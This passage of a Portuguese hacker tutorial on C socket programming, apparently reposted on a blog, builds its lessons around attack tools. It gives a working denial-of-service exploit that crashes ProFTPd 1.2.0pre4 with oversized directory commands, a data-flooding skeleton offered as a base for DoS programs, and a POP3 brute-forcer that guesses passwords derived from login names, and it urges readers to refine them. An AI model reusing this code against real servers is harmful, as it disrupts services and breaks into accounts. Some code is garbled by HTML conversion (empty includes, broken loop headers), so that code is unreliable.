        seu_endereco.sin_port = htons(PORTA);
        seu_endereco.sin_addr = *((struct in_addr *)he->h_addr);
        bzero(&(seu_endereco.sin_zero), 8);

        if (connect(Meusocket,(struct sockaddr *)&seu_endereco, sizeof(struct sockaddr)) ==-1)
        {
               perror("connect");
               exit(1);
        }

        if ((numbytes=recv(Meusocket, buf, MAXDATASIZE, 0)) == -1)
        {
               perror("recv");
               exit(1);
        }
        buf[numbytes] = '\0';
        printf("Recebido: %s",buf);
        close(Meusocket);
        return 0;
}

--------------------------------------------------------------------------
Aí estão os exemplos, execute o servidor primeiro, depois o cliente. Isso
é só para demonstrar de modo fácil como se pode manipular as funções
send() e recv(). Veremos agora um exemplo mais abrangente dessas duas
funções, algo mais prático para nossos intuitos.

-----------------------Denial of service para Proftpd-----------------------
/*
 * Crashes ProFTPd 1.2.0pre4 because of a buffer overflow.
 * This bug was discovered by the Nessus Security Scanner
 * I don't know if this flaw can be exploited to gain
 * root privileges.
 * The name of the created directory must not exceed 255 chars !
 * Written by Renaud Deraison
 *
 * (Esse exploit serve para crashear um servidor de ftp, ProFTPd)
 * Eu alterei o fonte para os nossos propósitos, simplificando as coisas
 * ao máximo, mas no momento basta se ater a manipulação que ele deu
 * as funções send() e recv().(Nash Leon)
 */

/* Headers necessários */

#include
#include
#include
#include
#include
#include


#define VITIMA "127.0.0.1"
#define DIR_ESCRITA "/incoming"

int main()
{
        struct in_addr vitima;
        int Meusocket;
        struct sockaddr_in sa;

        char * dir_escrita = "CWD "DIR_ESCRITA"\r\n";
        char * mkd;
        char * cwd;

        /* Aqui se pega a definição acima do host que será vitimado */
        inet_aton(VITIMA, &vitima);
        mkd = malloc(300); bzero(mkd, 300);
        cwd = malloc(300); bzero(cwd, 300);

        Meusocket = socket(PF_INET, SOCK_STREAM,0);

        bzero(&sa, sizeof(sa));
        sa.sin_family = AF_INET;
        sa.sin_port   = htons(21);
        sa.sin_addr.s_addr = vitima.s_addr;
       
        if(!(connect(Meusocket, (struct sockaddr *)&sa, sizeof(struct sockaddr_in))))
        {
               char * buf = malloc(1024);
               int i;
               sprintf(mkd, "MKD ");
               memset(mkd+4, 'X', 254);
               sprintf(mkd, "%s\r\n", mkd);

               sprintf(cwd, "CWD ");
               memset(cwd+4, 'X', 254);
               sprintf(cwd, "%s\r\n", cwd);

               /* Vemos aqui uso pratico de recv() e send() */
               recv(Meusocket, buf, 1024, 0);
               send(Meusocket, "USER ftp\r\n", strlen("USER ftp\r\n"),0);
               recv(Meusocket, buf, 1024, 0);
               bzero(buf,1024);
               send(Meusocket, "PASS joe@\r\n", strlen("PASS joe@\r\n"),0);
               recv(Meusocket, buf, 1024, 0);
               bzero(buf, 1024);
               send(Meusocket, dir_escrita, strlen(dir_escrita), 0);
               recv(Meusocket, buf, 1024, 0);
               bzero(buf,1024);


               for(i=0;i<40 i="" o:p="">
               {
                       send(Meusocket, mkd, strlen(mkd), 0);
                       recv(Meusocket, buf, 1024,0);
                       if(!strlen(buf))
                       {
                               printf("FTPd Remoto crasheado (veja /var/log/messages)\n");
                               exit(0);
                       }
                       bzero(buf, 1024);
               }
               printf("Servidor não é vulneravel\n");
               close(Meusocket);
        }
        else perror("connect ");
        return(0);
}
------------------------------FIM DO EXEMPLO--------------------------
Bem aí está um exemplo bem simples de envio e recebimento de dados
usando as funções send() e recv() para derrubar um servico.Essa técnica de
Denial of Service pode ser útil para muitas finalidades, mas não deve ser
usada como diversão ou simples vandalismo, lembrando, não nos responsabilizamos
pelo mau uso das ferramentas descritas nesse txt. Com essas funções
você já está apto a escrever sockets para enviar aqueles famosos "remote
root buffer overflow"!!:)
As funções sendto() e recvfrom() usadas em sockets
SOCK_DGRAM, serão vistas muito em breve,mas antes veremos as funções
write() e read() que são parecidas com send() e recv().

--------------------------------
*** AS FUNÇÕES write() e read() |
--------------------------------
Essas funções possuem a mesma finalidade das funções send() e recv().
write() serve para escrever num socket, enquanto read() para ler de um socket.
A função read() é equivalente a função recv() com um parâmetro flag de 0.
Da mesma forma, write() é equivalente a send() com flags igual a 0. Essas
funções devem ser usadas somente em sistemas unix, lembre-se, esse tutorial
foi escrito para usuarios linux, linux slackware, not red sux!
Veremos a declaração delas:

/* Header necessario */
#include

ssize_t read(int Meusocket, void *buf, size_t count);

onde:

+ Meusocket  -> Nosso bom e velho arquivo socket.

+ *buf       -> Buffer de onde serão lidas as mensagens.

+ count      -> Tamanho em bytes da mensagem a ser lida. Se count é igual a
                zero, read() retorna zero e não possui outro resultado. Se
                count é maior que sszize_max (declarado anteriormente), o
                resultado não é especificado.

para a função write() é a mesma coisa:


#include

ssize_t write(int Meusocket, void *buf, size_t count);

onde os parâmetros equivalem aos mesmos parâmetros de send().

Veremos um simples esquema para essas funções, comecando com um programa
que envia dados (uma sequência de caracter A), através da função write():

--------------------------------------------------------------------------
/* PROGRAMA EXEMPLO DE ENVIO DE DADOS USANDO A função WRITE()
   ESSE PROGRAMA FOI DESENVOLVIDO POR NASH LEON P/ TXT SOBRE SOCKETS.
   TRANKS RAMONA E UNSEKURITY TEAM.
   http://unsekurity.virtualave.net/
   Esse programa poderá servir como carcaça (esqueleto) para possíveis
   futuros programas geradores de Denial Of Service.
*/

#include
#include
#include
#include
#include
#include
#include

/* O correspondente em hexa do caracter A */

#define A 0x41

main(int argc, char *argv[])
{
        int Meusocket, porta, i;
        struct sockaddr_in vitima;
        struct hostent *he;
        char *buf[2000];

        if(argc == 1)
        {
               printf("Programa exemplo de uso de write() e read()\n");
               printf("Poderá servir como esqueleto para um DoS!!\n");
               printf("Uso: %s host porta\n",argv[0]);
               exit(0);
        }

        porta = atoi(argv[2]);

        Meusocket=socket(AF_INET,SOCK_STREAM,0);
        if(Meusocket < 0)
        {
               perror("Socket");
               exit(-1);
        }

        he = gethostbyname (argv[1]);
        if(he == NULL)
        {
               herror("Erro!Host desconhecido mano!\n");
               exit(-1);
        }
        vitima.sin_family = he->h_addrtype;
        vitima.sin_port = htons(porta);
        vitima.sin_addr =*((struct in_addr *)he->h_addr);
        bzero(&(vitima.sin_zero), 8);

        if(connect(Meusocket,(struct sockaddr *)&vitima, sizeof(vitima)) < 0)
        {
               fprintf(stderr,"Erro em connect()!!\n");
               exit(-1);
        }
        /* Zeramos o buffer responsável por conter dados de envio */

        bzero(buf,sizeof(buf));

        /* Aqui nós enchemos o buffer de envio com o caracter desejado */

        for(i=0; i < 1024; i++)
        {
               buf[i] = (char *) A;
        }
        buf[1024 -1] = '\0';

        /* Finalmente nossa função write(), que enviará o conteudo de buffer */
        printf("Enviando dados!!\n");

        if(write(Meusocket,buf,strlen(buf)) < 0)
        {
               printf("Erro em write()\n");
               close(Meusocket);
               exit(-1);
        }
        printf("Dados enviados com sucesso!\n");
        close(Meusocket);
        return 0;
}
-----------------------------------------------------------------------
Esse programa acima serve somente para enviar dados para um determinado
host e uma determinada porta, você poderia muito bem declarar um serviço
exemplo, ftp, onde se poderia tentar um DoS usando um simples esquema como:

        sprintf(buffer,"USER %s",buf);
        write(Meusocket,buffer,strlen(buffer));

Lógico, o programa deveria primeiro estar vulnerável a esse overflow, mas
por incrível que pareca, não sao poucos os programas que ainda hoje são
vulneráveis a isso. Mas quanto a overflows. Já temos um bom texto sobre isso
que será publicado muito em breve.

Para a função read(), eu fiz um exemplo mais prático, mas um pouco grande,
de forma que tentei deixar o mais claro possível a manipulação dessas duas
funções. O programa que segue abaixo é um brutal force que trabalha em cima
de um login dado, ele é básico, faz coisas básicas, mas você poderá fazer
com que ele seja otimizado, pense! E faça!! Brutal force é uma técnica,
embora muitos não consideram técnica por causa do nome..:)..mas escrever
um brutal pode ser muito útil..ainda hoje em dia na época de firewalls, isso
ainda é válido.. Veja como é o funcionamento do programa, lembre-se:
SABENDO FAZER UM O QUE TE IMPEDE DE FAZER TODOS?

-----------------------------
*** TERCEIRO EXEMPLO PRÁTICO |
-----------------------------
/* Programa desenvolvido por Nash Leon para tentar um brutal force
   em servidores pop, utilizando permutações e combinações num
   login. Não utiliza arquivos passwd, como a maioria dos brutais por aí.
   Breve disponibilizarei uma versão mais complexa e atual desse programa.
   OBS:Nao me responsabilizo pelo mau uso deste programa, ele foi
   construido somente com propósitos educacionais!!
   nashleon@yáoo.com.br
   Thanks Ramona e unsekurity team.
   http://unsekurity.virtualave.net
*/

#include
#include
#include
#include
#include
#include
#include
#include

#define PORTA 110

int atacar(char *vitima, int porta, char *login, char *senha);
void Un(char *nome1, char *host);
void Uns(char *nome1, char *nome2, char *host);
void Unse(char *nome1, char *host);
void modo_errado();

main(int argc, char *argv[])
{
        char senhar[30];

        if(argc < 4)
        {
               system("clear");
               fprintf(stderr,"\n\t\t\tNASH LEON BRUTAL FORCE v0.1\n\n\n");
               fprintf(stderr,"Desenvolvido por Nash Leon e unsekurity team!\n");
               fprintf(stderr,"http://unsekurity.virtualave.net\n");
               fprintf(stderr,"Uso: %s \n\n",argv[0]);
               fprintf(stderr,"Onde modo pode ser:\n");
               fprintf(stderr,"un -> somente passwd igual a login\n");
               fprintf(stderr,"uns  ->passwd igual a login ao contrario\n");
               fprintf(stderr,"unse  -> passwd igual a login + um número no final(0 a 9)\n");
               fprintf(stderr,"unsek -> Todos os modos acima.\n");
               exit(0);
        }

        if(argv[3])
        {
               if(!strcmp(argv[3],"un"))
               {
                       system("clear");
                       printf("********************** NASH LEON BRUTAL FORCE v0.1 **********************\n");
                       printf("Executando modo \"un\" -> Somente senhas iguais aos logins!!\n");
                       printf("Boa sorte mano!!\n");
                       Un(argv[2], argv[1]);
                       return 0;
               }
               if(!strcmp(argv[3],"uns"))
               {
                       system("clear");
                       printf("*********************** NASH LEON BRUTAL FORCE v0.1 ***********************\n");
                       printf("Executando em modo \"unsek\"  -> Senha iguais ao login ao contrario!!\n");
                       strcpy(senhar,argv[2]);
                       Uns(argv[2],senhar,argv[1]);
                       return 0;
               }

               if(!strcmp(argv[3],"unse")){
                       system("clear");
                       printf("********************** NASH LEON BRUTAL FORCE v0.1 **********************\n");
                       printf("Executando em modo \"unse\"  -> Senhas igual ao login + número(0 a 9)\n");
                       printf("Boa Sorte Mano!!\n");
                       Unse(argv[2],argv[1]);
                       return 0;
               }

               if(!strcmp(argv[3],"unsek")){
                       system("clear");
                       printf("********************* NASH LEON BRUTAL FORCE v0.1 *********************\n");
                       printf("Executando em todos os modos possiveis desta versao!!\n");
                       printf("Boa sorte mano!!\n");
                       Un(argv[2],argv[1]);
                       Uns(argv[3],senhar,argv[1]);
                       Unse(argv[2],argv[1]);
                       return 0;
               }
        }
        modo_errado();
}

void modo_errado()
{
        printf("Modo errado\n");
        exit(1);
}

void Un(char *nome1, char *host)
{
        char senha[30];
        int porta = PORTA;
        strcpy(senha,nome1);
        atacar(host,porta,nome1,senha);
}

atacar(char *vitima, int porta, char *login, char *senha)
{
        char templ[512],temps[512], envia[1024],recebe[1024],saida[1024];
        int Meusocket, len;
        struct hostent *he;
        struct sockaddr_in lascado;

        he = gethostbyname(vitima);
        if (he < 0)
        {
               printf("Host Desconhecido mano!!\n");
               exit(1);
        }
        Meusocket = socket(AF_INET, SOCK_STREAM, 0);
        if(Meusocket < 0)
        {
               fprintf(stderr,"Erro no socket mano!!\n");
               exit(1);
        }
        lascado.sin_family = he->h_addrtype;
        lascado.sin_port = htons(porta);
        lascado.sin_addr = *((struct in_addr *)he->h_addr);
        bzero(&(lascado.sin_zero), 8);

        if(connect(Meusocket,(struct sockaddr * )&lascado, sizeof(lascado)) < 0)
        {
               printf("Erro em connect() mano!!\n");
               close(Meusocket);
               exit(0);
        }
        bzero(recebe,sizeof(recebe));
        len = read(Meusocket,recebe,strlen(recebe));
        sprintf(templ,"USER %s\n",login);

        if(write(Meusocket,templ,strlen(templ)) < strlen(templ))
        {
               fprintf(stderr,"Falha em write()!!\n");
               return -1;
        }
        bzero((char *)&recebe,sizeof(recebe));
        if( read(Meusocket,recebe, sizeof(recebe)) < 0)
        {
               perror("read()");
                return -1;
        }
        recebe[(strlen(recebe)-2)] = '\0';

        /* Aqui checa se existe login */

        if (strstr(recebe, "+OK") == NULL )
        {
               return -1;
        }
        bzero((char *)&envia, sizeof(envia));
        read(Meusocket,envia,1024);
        bzero((char *)&temps,sizeof(temps));
        sprintf(temps,"PASS %s\n",senha);

        if(write(Meusocket,temps,strlen(temps)) < strlen(temps))
        {
               perror("write()");
               return -1;
        }

        if(read(Meusocket,envia,sizeof(envia)) < 0)
        {
                perror("read()");
               return -1;
        }
        envia[(strlen(envia)-2)] = '\0';

        /* Aqui diz se senha é correta */

        if (strstr(envia, "+OK") != NULL )
        {
               printf("Password valido mano!!\n");
               printf("login \"%s\" possui senha \"%s\".\n",login,senha);
               bzero((char *)&saida,sizeof(saida));
               sprintf(saida,"%s","QUIT");

               write(Meusocket,saida,strlen(saida));
               bzero((char *)&saida,sizeof(saida));
               bzero((char *)&saida,sizeof(saida));
               return 0;
        }
        bzero((char *)&envia,sizeof(envia));
        bzero((char *)&recebe,sizeof(recebe));
        bzero((char *)&saida,sizeof(saida));
        sprintf(saida,"%s","QUIT");
        write(Meusocket,saida,strlen(saida));
        bzero((char *)&saida,sizeof(saida));
        return 0;
}

void Uns(char *nome1, char *nome2, char *host)
{
        int tamanho, i;
        int porta = PORTA;
        tamanho = strlen(nome1);
        for(i = 0; i < tamanho; i++)
        {
               nome2[i] = (&nome1[tamanho-i]) [-1];
        }
        nome2[tamanho] = '\0';
        atacar(host,porta,nome1,nome2);
}

void Unse(char *nome1, char *host)
{
        char senhas[30];
        int i;
        for(i=0;i<10 i="" o:p="">
        {
               sprintf(senhas,"%s%d",nome1,i);
        }
        atacar(host,PORTA,nome1,senhas);
}

----------------------------------------------------------------------
Bem.aí está amigos, um brutal force. No uso da função read(), eu
coloquei um espaço para o terminador nulo como em:

        envia[(strlen(envia)-2)] = '\0';

Geralmente isso se faz necessário. Com esse brutal force, é possivel,
com paciência, logico! Você conseguir capturar algumas senhas, bem como
shells...gostaria de lembrar, no entanto, que esse não é um bom método,
pois deixa muito rastro, bem como existem sistemas que não permitem
conexão de fora na porta 110. Mas pegue os conceitos, com um pouco de
dedicação, você poderá melhorar esse programa, ou mesmo fazer um bem
melhor que tenta em outras portas, ex. porta 80, se possível na vítima,
seria uma boa. Fecho aqui o último exemplo desse tutorial, espero que
eles tenham sido úteis ou sejam úteis para você, lembrando amigo, se você
achou isso tudo difícil, não desanime, procure outros textos sobre sockets,
existem muitos e melhores do que este, se você achou fácil, espero que os
conceitos das técnicas sirvam para você, bem como digo que em breve,
escreverei algo mais complexo para nutrir seus conhecimentos.

-------------------------
*** CONSIDERAÇÕES FINAIS |
-------------------------
Terminamos essa fase inicial de escrita de sockets, já temos materiais
quase prontos sobre uso de mais funções como select(), bem como material
sobre UDP socks, mas não publicaremos ainda por questão de prioridade,
como escrevemos para Newbies, publicaremos primeiro outros materiais, mas
em breve, muito breve mesmo, estará disponível aqui coisas mais
interessantes ainda sobre sockets em unix e talvez winsocks.
Espero mesmo que tudo que escrevi acima tenha algum valor útil para alguém,
lembrando sempre, que a união faz a força, se mais pessoas se engajarem
em escrever e publicar técnicas e conceitos de fuçadores, sem dúvida o
cenario tende a crescer. Obrigado aqueles que me incentivaram na escrita
deste e dos outros textos, bem como os que se oporam, vocês são a minha
maior inspiração!!:)..Uma das coisas que me fez entrar nessa vida de
fuçador, foi um dilema da ética: "LIBERDADE DE INFORMAÇÃO!", guardando ou
retendo o que eu aprendi, estarei fugindo ao dilema que me atraiu, e
consequentemente fazendo morrer o espirito hacker que há dentro de mim.
Um abraço cordial a todos!
----------------------------------------------
*** ALGUNS LINKS SOBRE PROGRAMACAO DE SOCKETS |
----------------------------------------------
http://www.lowtek.com/sockets/
http://www.ecst.csuchico.edu/~beej/guide/ne
http://www.auroraonline.com/sock-faq
http://kipper.york.ac.uk/~vic/sock-faq
http://packetstorm.securify.com/programming-tutorials/Sockets/

0 comentários:

 
ST Informática | © 2010 by DheTemplate.com | Supported by Promotions And Coupons Shopping & WordPress Theme 2 Blog